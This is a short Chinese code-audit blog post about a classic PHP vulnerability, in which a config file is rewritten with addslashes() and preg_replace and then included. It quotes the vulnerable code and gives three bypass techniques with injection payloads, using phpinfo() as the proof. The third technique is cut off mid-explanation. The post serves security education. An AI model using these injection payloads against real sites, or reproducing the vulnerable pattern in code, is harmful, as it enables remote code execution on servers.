小密圈《代码审计》中看到P神发的“经典漏洞”,关于写配置文件这个功能点。
问题代码
<?php $str = addslashes($_GET['option']); $file = file_get_contents('xxxxx/option.php'); $file = preg_replace('|$option='.*';|',"$option='$str';",$file); file_put_contents('xxxxx/option.php',$file); ?>
输入经正则匹配写入配置文件,之后该配置文件会被include引入,若可使输入内容跳出单引号之外,即可插入恶意代码,并在include时触发之。
然而用户输入经过了addslashes()函数处理。
针对此问题的思考与讨论异彩纷呈,解法记录如下。
解法1 利用反斜线
输入
';phpinfo();//
'
经过addslashes()
之后变为\'
,随后preg_replace会将两个连续的合并为一个,也就是将\'
转为\'
,这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。
最终文件内容
$option='\';phpinfo();//';
看来是preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个
本地测试环境: PHP 5.4.45 + Windows + Apache
解法2 利用逻辑漏洞
过程分为两个请求:
第一次传入
aaa';phpinfo();%0a//
此时文件内容
$option='aaa';phpinfo(); //';
第二次传入随意字串,如bbb
。
之后正则代码.*
会将匹配到的aaa
替换为bbb
此时文件内容(成功写入恶意代码)
$option='bbb';phpinfo(); //';
解法3 利用%00
仍然分为两步。
第一次传入
;phpinfo();
此时文件内容为:
$option=';phpinfo();';
第二次传入
%00
%00
被addslashes()
转为
评论